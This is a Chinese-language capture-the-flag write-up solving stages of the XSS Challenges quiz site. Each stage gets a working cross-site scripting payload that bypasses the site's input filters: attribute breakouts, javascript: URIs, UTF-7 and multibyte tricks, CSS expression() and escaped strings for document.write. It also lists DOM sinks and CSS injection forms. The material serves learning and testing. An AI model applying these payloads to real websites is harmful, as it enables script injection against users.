XSS Challenges部分題目總結(jié)

怎樣進(jìn)行Xss攻擊


XSS Challenges:http://xss-quiz.int21h.jp/
這是一個(gè)日本的孩子寫得xss測試關(guān)卡盛嘿,一共19關(guān)关划。

第四關(guān):http://xss-quiz.int21h.jp/stage_4.php?sid=04fb39847db7e3f24b1287a4be7e22b1ba79ec74

Hint: invisible input field
抓包發(fā)現(xiàn)有三個(gè)參數(shù),通過測試發(fā)現(xiàn)前兩個(gè)都被過濾了關(guān)鍵字符官辈,而第三個(gè)沒有過濾箱舞。

圖片.png
圖片.png
用第三個(gè)參數(shù)構(gòu)造閉合語句
1"><img src=1 onerror= alert(document.domain)>
圖片.png

第六關(guān):http://xss-quiz.int21h.jp/stage-no6.php?sid=10284e95452262a58b13c86015336f4489b6152e

輸入<>/"發(fā)現(xiàn)<>被過濾遍坟,可以在input中構(gòu)造onxxx語句。

圖片.png

1" onclick="alert(document.domain)
圖片.png

第八關(guān):http://xss-quiz.int21h.jp/stage008.php?sid=8407d42ea5cf46b072f5a358abffa591a449a2ba

提示:the 'javascript' scheme.
<>"\都被過濾了晴股,但是可以用JS的偽協(xié)議愿伴,點(diǎn)擊鏈接彈窗

圖片.png

javascript:alert(document.domain)
圖片.png

第九關(guān):http://xss-quiz.int21h.jp/stage_09.php?sid=fcf3010be4306306e9668ee51b9d6916c0b3e129

提示:UTF-7 XSS
XSS事項(xiàng) UTF-7: 消失的字符集
IE6/7 UTF7 XSS 漏洞攻擊,這個(gè)攻擊只對 IE6/IE7 起作用, 從 IE8 起微軟已經(jīng)修復(fù)了

"<>都被轉(zhuǎn)義了,當(dāng)然也不能用onmouseover和onclick电湘,根據(jù)提示隔节,用UTF-7編碼解碼工具,將" onmousemove="alert(document.domain)轉(zhuǎn)為UTF-7編碼:
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

這個(gè)對使用的IE瀏覽器有一定的限制胡桨,大部分瀏覽器都已經(jīng)修復(fù)了這個(gè)漏洞官帘,但I(xiàn)E7還沒有

第十一關(guān):http://xss-quiz.int21h.jp/stage11th.php?sid=4a4c328baf358d9bf01befc79228e70d25549025

提示:s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;
沒有過濾<>"/,
1昧谊,script會(huì)被替換為xscript 
2刽虹,on事件會(huì)被替換為onxxx
3,style會(huì)被替換為stxxx

圖片.png
圖片.png

所以只能用a標(biāo)簽呢诬,<a href="javascript:alert(document.domain)">123</a>涌哲,可是還是有script,所以要將script中的某個(gè)字符轉(zhuǎn)為unicode編碼尚镰,或者可以插入&#09;不可見字符阀圾。
嘗試用tab制表(%09),換行(%0a,%0d,%0a%0d)等符號(hào)都不行狗唉。

輸入"><a href=javascri%09pt:alert(1)>test</a>初烘,顯示發(fā)現(xiàn)后面的那一段被截?cái)嗔恕?div id="heiifia" class="image-package">
圖片.png

%09也就是tab制表符,使用在單個(gè)標(biāo)簽之內(nèi)分俯,會(huì)被瀏覽器正確去除肾筐,而在跨標(biāo)簽的時(shí)候(也就是閉合前面原有標(biāo)簽,使用在構(gòu)造者構(gòu)造的新標(biāo)簽的時(shí)候)不會(huì)被正確去除缸剪。也僅僅是%09吗铐,其十進(jìn)制編碼和十六進(jìn)制編碼都不會(huì)受影響。后面測試發(fā)現(xiàn)%0a和%0d一樣受到影響杏节。
參考payload:
"><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十進(jìn)制編碼
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的換行符,&colon;是冒號(hào)

HTML的16進(jìn)制轉(zhuǎn)義符 HTML Punctuation Special Characters

第十二關(guān):http://xss-quiz.int21h.jp/stage_no012.php?sid=66a49c46b3d8e490003681f359c7b8b14ba174c8

提示:s/[\x00-\x20&lt;&gt;"']//g;
<>"被過濾唬渗,根據(jù)提示可以知道x00-,x20奋渔,<镊逝,>,"卒稳,'都被過濾了蹋半,但是`還沒被過濾,于是可以用`加上onclick,onmouseover,onfocus均可充坑,還有一個(gè)前提是IE减江,只有IE才有這個(gè)特性

圖片.png

由于IE的特性染突,或者說瀏覽器競爭時(shí)代百家爭鳴導(dǎo)致的結(jié)果,會(huì)把`解析為引號(hào)辈灼。

第十三關(guān):http://xss-quiz.int21h.jp/stage13_0.php?sid=ea59af045ae260dd938d73d6cbbd1c92a6806e06

提示:style attribute6
css中的expression
支持者:IE5至IE7瀏覽器份企。expression這個(gè)語法只存在ie上。

xss:expr/*XSS*/ession(alert(document.domain));
還有一種:
background-color:#f00;background:url("javascript:alert(document.domain);");

現(xiàn)實(shí)環(huán)境中不可能有如此簡單就能插入的地方
話說巡莹,現(xiàn)實(shí)中怎么利用
有2種注入:

(1)@import 和 expression

    @import "http://web/xss.css"  
    @import 'javascript:alert("xss")'  
    body{xss:expression(alert('xss'))]  
    <img style="xss:expression(alert('xss'))">  

(2)css代碼中js司志,vs腳本

    body{backgroud-image:url(javascript:alert('xss'))}  
    body{backgroud-image:url(vbscript:msgbox('xss'))}  

第十五關(guān):http://xss-quiz.int21h.jp/stage__15.php?sid=1e785fb96bdb203c00b034203ee574681d1b4403

提示:document.write();
輸入<>"/發(fā)現(xiàn)<>"被過濾了

圖片.png

有幾種繞過過濾的方法:
第一種:換成16進(jìn)制編碼\x3cscript\x3ealert(document.domain);\x3c/script\x3e
第二種:換成Unicode編碼\u003cscript\u003ealert(document.domain);\u003c/script\u003e
第三種:換成十進(jìn)制編碼\74script\76alert(document.domain);\74/script\76
(兩個(gè)\是因?yàn)檫^濾了單個(gè))

能引起Dom XSS的入口函數(shù)總結(jié)

    document.write()    
    document.writeln()    
    document.body.innerHtml    
    eval()    
    window.execScript()    
    window.setInterval()    
    window.setTimeout()   

第十七關(guān):http://xss-quiz.int21h.jp/stage-No17.php?sid=a207c91d7b4cb2634e277df104c853554347e8ca

提示:multi-byte character
Multi-Byte Character Set & Use Unicode Character Set
(瀏覽器版本問題不能成功,IE8已經(jīng)修復(fù))雙引號(hào)是0x22降宅,總體思路類似寬字節(jié)注入骂远,這個(gè)技巧在sql注入中很常用,如%0c可以吃掉一個(gè)反斜杠腰根,就是用一個(gè)特殊字節(jié)吃掉Name中的第二個(gè)"激才,然后Name和E-mail的第一個(gè)"就閉合構(gòu)成了value,然后插入onxxx额嘿,最后再吃掉最后一的"瘸恼。

圖片.png
圖片.png

抓包payloadp1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

第十八關(guān):http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851

提示:us-ascii high bit issue
這個(gè)源自于瀏覽器瞎解釋,他會(huì)把一些8位的字符直接解釋成7位ascii(漏洞已經(jīng)在IE8中修補(bǔ)了)

圖片.png

就是說瀏覽器會(huì)忽略掉一些8位字符的第一位册养,如BC和<2進(jìn)制的后7位相同东帅,瀏覽器會(huì)把他當(dāng)做BC,并不會(huì)過濾球拦。(二進(jìn)制和16進(jìn)制可以和字符間相互轉(zhuǎn)換)
參考文獻(xiàn)
https://blog.csdn.net/emaste_r/article/details/16988167
https://www.cnblogs.com/sherlock17/p/6700430.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末靠闭,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子坎炼,更是在濱河造成了極大的恐慌阎毅,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,284評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件点弯,死亡現(xiàn)場離奇詭異,居然都是意外死亡矿咕,警方通過查閱死者的電腦和手機(jī)抢肛,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,115評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來碳柱,“玉大人巡蘸,你說我怎么就攤上這事梧宫。” “怎么了?”我有些...
    開封第一講書人閱讀 164,614評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵痊硕,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么鼓拧? 我笑而不...
    開封第一講書人閱讀 58,671評(píng)論 1 293
  • 正文 為了忘掉前任越妈,我火速辦了婚禮季俩,結(jié)果婚禮上阎抒,老公的妹妹穿的比我還像新娘。我一直安慰自己都哭,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,699評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著轨淌,像睡著了一般却盘。 火紅的嫁衣襯著肌膚如雪旬陡。 梳的紋絲不亂的頭發(fā)上描孟,一...
    開封第一講書人閱讀 51,562評(píng)論 1 305
  • 那天孩饼,我揣著相機(jī)與錄音,去河邊找鬼竹挡。 笑死镀娶,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的揪罕。 我是一名探鬼主播梯码,決...
    沈念sama閱讀 40,309評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼好啰!你這毒婦竟也來了轩娶?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,223評(píng)論 0 276
  • 序言:老撾萬榮一對情侶失蹤框往,失蹤者是張志新(化名)和其女友劉穎鳄抒,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體椰弊,經(jīng)...
    沈念sama閱讀 45,668評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡嘁酿,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,859評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了男应。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,981評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡娱仔,死狀恐怖沐飘,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤耐朴,帶...
    沈念sama閱讀 35,705評(píng)論 5 347
  • 正文 年R本政府宣布借卧,位于F島的核電站,受9級(jí)特大地震影響筛峭,放射性物質(zhì)發(fā)生泄漏铐刘。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,310評(píng)論 3 330
  • 文/蒙蒙 一影晓、第九天 我趴在偏房一處隱蔽的房頂上張望镰吵。 院中可真熱鬧,春花似錦挂签、人聲如沸疤祭。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,904評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽勺馆。三九已至,卻和暖如春侨核,著一層夾襖步出監(jiān)牢的瞬間草穆,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,023評(píng)論 1 270
  • 我被黑心中介騙來泰國打工搓译, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留悲柱,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,146評(píng)論 3 370
  • 正文 我出身青樓侥衬,卻偏偏與公主長得像诗祸,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子轴总,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,933評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 之前積累了XSS 有一段時(shí)間直颅,因?yàn)槟壳伴_始了一件有趣的工程,需要整合非常多的知識(shí)怀樟,其中Web 安全這一塊出現(xiàn)最多的...
    刀背藏身閱讀 9,060評(píng)論 0 16
  • 在那個(gè)年代功偿,大家一般用拼接字符串的方式來構(gòu)造動(dòng)態(tài) SQL 語句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式往堡。在...
    Gundy_閱讀 554評(píng)論 0 5
  • 在那個(gè)年代械荷,大家一般用拼接字符串的方式來構(gòu)造動(dòng)態(tài) SQL 語句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式虑灰。在...
    Safesonic閱讀 629評(píng)論 0 4
  • 1.XSS (Cross Site Script) 吨瞎,跨站腳本攻擊 有句話說 所有的輸入都是有害的。 跨站腳本是最...
    大頹寶寶閱讀 17,195評(píng)論 1 23
  • 對網(wǎng)站發(fā)動(dòng)XSS攻擊的方式有很多種穆咐,僅僅使用php的一些內(nèi)置過濾函數(shù)是對付不了的颤诀,即使你將filter_var,m...
    dreamer_lk閱讀 7,680評(píng)論 0 6